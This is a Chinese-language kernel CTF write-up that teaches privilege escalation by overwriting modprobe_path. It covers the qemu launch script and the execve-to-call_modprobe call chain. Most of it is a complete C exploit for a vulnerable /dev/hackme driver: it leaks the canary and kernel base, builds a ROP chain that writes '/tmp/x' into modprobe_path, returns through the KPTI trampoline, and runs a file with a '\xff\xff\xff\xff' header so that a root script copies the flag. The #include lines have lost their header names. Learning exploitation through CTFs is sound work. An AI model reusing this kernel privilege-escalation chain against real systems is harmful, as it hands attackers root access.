学kernel的第四天,还是挺不好学的···
通过这道题我们来学习一下通过覆盖modprobe_path的内核漏洞利用姿势
拿到题目后先解包,分析下启动脚本
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep,+smap \
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 kaslr kpti=1 quiet panic=1"
开启了smep和smap,无法直接访问用户数据或者执行用户代码,开了kaslr
然后来分析下ko
平平无奇的读写,但是都存在大范围的溢出。
这道题主要就是考察当有了内核任意地址读写之后,如何进行提权操作
首先,什么是modprobe呢?根据维基百科的说法:“modprobe是一个Linux程序,最初由Rusty Russell编写,用于在Linux内核中添加一个可加载的内核模块,或者从内核中移除一个可加载的内核模块”。也就是说,它是我们在Linux内核中安装或卸载新模块时都要执行的一个程序。该程序的路径是一个内核全局变量,默认为/sbin/modprobe,我们可以通过运行以下命令来查看该路径:
cat /proc/sys/kernel/modprobe
而这个程序的路径存放在modprobe_path,它位于一个可写的内存页中,我们可以通过读取/proc/kallsyms得到它的地址
如:
cat /proc/kallsyms | grep modprobe_path
当我们执行的文件类型是系统未知的类型时,将执行modprobe程序,准确的来说,应该是对文件签名(又称魔术头)为系统未知的文件调用execve()函数时,它将调用下列函数,并最终调用modprobe:
do_execve()
do_execveat_common()
bprm_execve()
exec_binprm()
search_binary_handler()
request_module()
call_modprobe()
最后会执行下列代码:
static int call_modprobe(char *module_name, int wait)
{
...
argv[0] = modprobe_path;
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name;
argv[4] = NULL;
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
...
}
也就是说如果我们用任意写将modprobe_path覆盖成一个我们自己编写的shell脚本的路径,然后我们执行一个未知文件签名的文件。其结果是,当系统仍处于内核模式时,shell脚本将被执行,从而导致具有root权限的任意代码执行
后面具体如何通过modprobe_path覆盖读flag可以参考这篇文章:https://blog.csdn.net/weixin_46483787/article/details/124240829?spm=1001.2014.3001.5501
这里直接给出具体exp:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
int global_fd;
size_t user_cs, user_ss, user_rflags, user_sp;
unsigned long cookie=0;
unsigned long image_base=0;
unsigned long base=0xffffffff81000000;
unsigned long modprobe_path=0;
unsigned long kpti_trampoline=0;
unsigned long pop_rax_ret=0;
unsigned long write_ptr_rbx_rax_pop2_ret=0;
unsigned long pop_rbx_r12_rbp_ret=0;
void save_status()
{
asm(
"movq %%cs, %0\n\t"
"movq %%ss, %1\n\t"
"movq %%rsp, %2\n\t"
"pushfq\n\t"
"popq %3\n\t"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags)
:
: "memory");
}
void open_dev()
{
global_fd=open("/dev/hackme",O_RDWR);
if(global_fd<0){
puts("[!] Failed to open device\n");
exit(-1);
}else{
puts("[*] Opened device");
}
}
void leak_canary()
{
unsigned long leak[0x30]={0};
int leak_size=read(global_fd,leak,sizeof(leak));
cookie=leak[16];
image_base=leak[38]-0xa157;
kpti_trampoline=image_base+0x200f10+22;
modprobe_path=image_base+0x1061820;
pop_rax_ret = image_base + 0x4d11UL;
pop_rbx_r12_rbp_ret = image_base + 0x3190UL;
write_ptr_rbx_rax_pop2_ret = image_base + 0x306dUL;
printf("[*]leak %d bytes\n",leak_size);
printf("[*]leak canary : %lx\n",cookie);
printf("[*]leak image base: %lx\n",image_base);
}
void get_shell()
{
puts("[*] Returned to userland");
if (getuid() == 0){
printf("[*] UID: %d, got root!\n", getuid());
system("/bin/sh");
} else {
printf("[!] UID: %d, didn't get root\n", getuid());
exit(-1);
}
}
void get_flag(){
puts("[*] Returned to userland, setting up for fake modprobe");
system("echo '#!/bin/sh\ncp /flag /tmp/flag\nchmod 777 /tmp/flag' > /tmp/x");
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
puts("[*] Run unknown file");
system("/tmp/dummy");
puts("[*] Hopefully flag is readable");
system("cat /tmp/flag");
exit(0);
}
void overflow(){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rax_ret; // return address
payload[off++] = 0x782f706d742f; // rax <- "/tmp/x"
payload[off++] = pop_rbx_r12_rbp_ret;
payload[off++] = modprobe_path; // rbx <- modprobe_path
payload[off++] = 0x0; // dummy r12
payload[off++] = 0x0; // dummy rbp
payload[off++] = write_ptr_rbx_rax_pop2_ret; // modprobe_path <- "/tmp/x"
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = (unsigned long)get_flag;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
puts("[*] Prepared payload to overwrite modprobe_path");
ssize_t w = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
int main()
{
save_status();
open_dev();
leak_canary();
overflow();
}